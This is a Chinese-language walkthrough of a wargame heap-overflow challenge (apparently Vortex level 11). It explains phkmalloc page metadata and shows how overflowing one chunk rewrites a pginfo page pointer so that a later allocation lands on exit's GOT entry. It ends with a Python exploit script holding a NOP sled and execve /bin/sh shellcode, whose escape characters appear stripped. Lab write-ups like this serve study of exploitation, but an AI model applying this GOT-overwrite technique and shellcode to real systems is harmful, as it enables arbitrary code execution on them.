这应该是第二次看到堆溢出的题,上次是babyfirst-heap,但不得不说,堆溢出真蛋疼,堆管理方法就一大堆,要想做堆溢出必须得先搞清楚其用的堆。
原题参见这里。从看到那一堆参考资料和长长的phkmalloc.c起就感觉整个世界都不好了。。。
不过东西虽多,搞清楚关键几点这题就能解决了。
首先讲下phkmalloc的几个概念:
-
malloc_pagesize:内存页一页的大小
-
malloc_pageshift:满足1 << malloc_pageshift = malloc_pagesize
-
malloc_pagemask:为malloc_pagesize – 1,从而使得addr % malloc_pagesize转化为addr & malloc_pagemask
-
malloc_origo:整个堆的起始地址 / malloc_pagesize,从而使得idx = ( page_address / malloc_pagesize ) – malloc_origo,idx为堆中页的编号
在phkmalloc中,每一页中的所有chunk大小相同,chunk分成三种大小,大的是指大小超过页大小一半的,中等和小的区别在于,对于中等大小的chunk,其堆头控制信息存储在专门的一个页上,对于小的chunk,其堆头控制信息存储在该chunk所在页。
现在让我们看看题目中的程序:
#include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *p; char *q; char *r; char *s; if (argc < 3) { exit(0); } p = (char *) malloc(0x800); q = (char *) malloc(0x10); r = (char *) malloc(0x800); strcpy(r , argv[1]); s = (char *) malloc(0x10); strncpy(s , argv[2], 0xf); exit(0); }
程序一共分配了4次,两个0x800(中等chunk),两个0x10(小chunk),通过gdb观察一下分配出来的内存,发现分别为p = 0x804E000、q = 0x804F030、r = 0x804E800、s = 0x804F040,我们很明显可以看出,strcpy的时候,我们可以通过r,覆盖q所在页上的堆头信息,堆头信息结构:
struct pginfo { struct pginfo *next; /* next on the free list */ void *page; /* Pointer to the page */ u_short size; /* size of this page's chunks */ u_short shift; /* How far to shift for this size chunks */ u_short free; /* How many free chunks */ u_short total; /* How many chunk */ u_int bits[1]; /* Which chunks are free */ };
在这里,我们需要的是改变s的值,也就是最后一次分配出来的内存地址,这样我们才能在后面的strncpy中修改我们想要修改的位置。然后查看malloc会发现,分配好后返回的指针是(u_char *)bp->page + k,也就是说是由pginfo中的page加上偏移值,那么之前的0x804F040也就是0x804F000+0x40,这样,我们只要覆盖掉page,就能够将s改成GOT表的位置,从而在exit(0)的时候获取对程序的控制。
objdump查看:
080485f0 <exit@plt>: 80485f0: ff 25 1c c0 04 08 jmp *0x804c01c 80485f6: 68 38 00 00 00 push $0x38 80485fb: e9 70 ff ff ff jmp 8048570 <_init+0x30>
那么我们要将page改为0x804c01c – 0x40 = 0x804bfdc,然后栈底地址为0xffffe000,于是乎得到启动程序如下:
#!/usr/bin/env python import subprocess addr = 'x04xdfxffxff' got_addr = 'xdcxbfx04x08' shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" subprocess.Popen(['/vortex/vortex11', 'x90' * 0x804 + got_addr , addr + 'x90' * 500 + shellcode], env = {}).communicate()
运行之,成功拿到shell。